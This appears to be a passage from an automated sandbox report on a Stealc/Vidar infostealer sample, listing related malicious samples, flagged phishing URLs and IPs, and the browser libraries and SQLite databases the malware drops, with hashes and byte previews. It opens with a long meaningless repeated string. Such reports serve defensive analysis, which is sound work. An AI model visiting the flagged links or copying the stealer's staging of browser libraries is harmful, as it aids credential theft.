GttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqGttUWGqloBvri51h9LRErd3HWCRoBdFauRsSvK8yaHFbMiAYvqG	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	(No subject) (93).eml	Get hash	malicious	HTMLPhisher	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	https://onedrive.live.com/view.aspx?resid=8656653D19C3C7C0!sb98dbf79ab614921877689e4912e2fae&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL28vYy84NjU2NjUzZDE5YzNjN2MwL0VubV9qYmxocXlGSmgzYUo1SkV1TDY0QmtKQzA5SEFwTjV6cTh1YW5PSWxxNEE_ZT1pdGFpeGo&wd=target%28Sezione%20senza%20titolo.one%7Ccfe57f3b-5d7b-4d15-b045-f6fdb53b3776%2FRechnung%2039920898-43006843%20%5C%7C%20Ebner%20Media%20Group%7C205becae-dae9-4a36-907a-485bcab69387%2F%29&wdorigin=NavigationUrl	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	http://bigfoot99.com	Get hash	malicious	Unknown	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71
	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse	4.175.87.197 184.28.90.27 13.107.246.51 40.126.31.71

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	9JtNIXVedn.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
C:\ProgramData\chrome.dll	KTvTgKJSyw.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	W9f3Fx6sL4.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AAFBAKECAEGCBFIEGDGI

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGDAAKJJDAAKFHJKJKFCAEHDAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.03859996294213402
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWHxDSjENbx56p3DisuwAyHI:58r54w0VW3xWdkEFxcp3y/y
MD5:	D2A38A463B7925FE3ABE31ECCCE66ACA
SHA1:	A1824888F9E086439B287DEA497F660F3AA4B397
SHA-256:	474361353F00E89A9ECB246EC4662682392EBAF4F2A4BE9ABB68BBEBE33FA4A0
SHA-512:	62DB46A530D952568EFBFF7796106E860D07754530B724E0392862EF76FDF99043DA9538EC0044323C814DF59802C3BB55454D591362CB9B6E39947D11E981F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\BGIJEGCGDGHDHIDHDGCB

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1743), with CRLF line terminators
Category:	dropped
Size (bytes):	9504
Entropy (8bit):	5.512408163813622
Encrypted:	false
SSDEEP:	192:nnPOeRnWYbBp6RJ0aX+H6SEXKxkHWNBw8D4Sl:PeegJUaJHEw90
MD5:	1191AEB8EAFD5B2D5C29DF9B62C45278
SHA1:	584A8B78810AEE6008839EF3F1AC21FD5435B990
SHA-256:	0BF10710C381F5FCF42F9006D252E6CAFD2F18840865804EA93DAA06658F409A
SHA-512:	86FF4292BF8B6433703E4E650B6A4BF12BC203EF4BBBB2BC0EEEA8A3E6CC1967ABF486EEDCE80704D1023C15487CC34B6B319421D73E033D950DBB1724ABADD5
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "9e34c6e7-cbed-40a0-ba63-35488e171013");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696426836);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696426837);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BKFHCGIDBAAFHIDHDAAEHIEHIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\CGIDHIIJKEBGHJJKFIDA

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DBGHDGHC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.264906465398681
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMbSAELyKOMq+8yC8F/YfU5m+OlTLVumyr:Bq+n0Jb9ELyKOMq+8y9/Owzr
MD5:	0409E76A584993A656FD2F476C24896C
SHA1:	AAE6F61617CEF045A0C7C01CF276D0CE2C2F708E
SHA-256:	FE9EF6D1A9107EC54B2DEBC2EA6A428EC94D5BC07F2DED6CA0974E3CCD2F9C2F
SHA-512:	3EE0858A4A0749DCF609B631709B2458A24456B0087BB1E7AC3D1D0FA45D485B5F2F4B7137532001DC66FE9F628AB61137C557CA29DCDB14FA9C594B15606182
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FBKECFII

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\chrome.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	692736
Entropy (8bit):	6.304379785339226
Encrypted:	false
SSDEEP:	12288:Kk5nGNLFzxC+gej5yNcTN+pt+tLK75PL2rn65hYVKKuKOvy/j3t:KMGNL/geFyNcTN+jv75TQn652VBuNyb
MD5:	EDA18948A989176F4EEBB175CE806255
SHA1:	FF22A3D5F5FB705137F233C36622C79EAB995897
SHA-256:	81A4F37C5495800B7CC46AEA6535D9180DADB5C151DB6F1FD1968D1CD8C1EEB4
SHA-512:	160ED9990C37A4753FC0F5111C94414568654AFBEDC05308308197DF2A99594F2D5D8FE511FD2279543A869ED20248E603D88A0B9B8FB119E8E6131B0C52FF85
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KTvTgKJSyw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: W9f3Fx6sL4.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......s,.>7M.m7M.m7M.m\|5.l<M.m\|5.l.M.m\|5.l#M.m'..l"M.m'..l'M.m'..l.M.m\|5.l:M.m7M.m.M.m7M.mlM.m...l6M.m...l6M.mRich7M.m........................PE..L......g.........."!...)............P.....................................................@..........................\..l...<].................................. 8...(..T....................(......@'..@............................................text............................... ..`.rdata..zV.......X..................@..@.data...T....p.......N..............@....reloc.. 8.......:...X..............@..B........................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: KTvTgKJSyw.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: 9JtNIXVedn.exe, Detection: malicious, Browse Filename: W9f3Fx6sL4.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\00e1bace-a906-4934-9151-b4dc8ad7a6b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44694
Entropy (8bit):	6.095791513790424
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBxwuQhDO6vP6O2L7ddOB6wyccGoup1Xl3jVzXr4CW:z/Ps+wsI7yOEz6WFMchu3VlXr4CRo1
MD5:	602356AB0797B5B4EF47EC5731849E42
SHA1:	D8D2B78633BA793495684ED1AD063C3AE5AB0340
SHA-256:	565510F6DBEEEA2EFD370A8D9BFC959EA799989D7DB592F4CBECE417792A7909
SHA-512:	C33743A94F25A52FC42CA2BCF4129A0F744B8F03B8C6658D26949197F3C23822692B43CD7C921D0A2A0A9E95FC793B32500BEAB5C0F508026F37F911BBF23B2D
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\03de1913-13ce-40a0-8520-557a3dd367fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44612
Entropy (8bit):	6.09630197171584
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBowuQhDO6vP6O2L7d1FPYAKvDPDE5LcGoup1Xl3j0:z/Ps+wsI7ynEQ6WFDLchu3VlXr4CRo1
MD5:	B6ABEFD0E473C775523AC19C3EC111F8
SHA1:	EB07758EAAD0E7DB1CACFDC7772E7AE798C44B0E
SHA-256:	211B201D1B0E1A2A87D736B1E6840172AC6079A91847204D49E18CC182000607
SHA-512:	099F47639987F3BC9A358E33FBBF6058AFAD8295E61563C5200CCBFF790D4A37094C2C9C0226E66D265005699CBB5C688C7DF46C7DC62C9EAE6401BE26C95840
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\0f0fd759-438f-4fc5-838c-004382f39ee9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45799
Entropy (8bit):	6.087777226306509
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx97d5uthDO6vP6O2L7ddOB6wyccpYL+CAoXGoup1Xl3jVzXrP:mMk1rT8HR97z6WFMcp1RoXhu3VlXr4Y
MD5:	48901F48C661DBF4357603FB654A2CD5
SHA1:	07883725253BBBA091A0D3903B72C59C70237F65
SHA-256:	78F8E3C53B9EA782729D883C07F31996B0BB93C42C8E0D01597CCFBDD218BF77
SHA-512:	28927A9E09F6D5A90A57943412692B3DA01ACB90E2E75CCF549D49A27D6BD945C4BD3C967555C98736FA94BD2F5EB399A9699EF3F9280E1F60E8926CC4268FB1
Malicious:	false
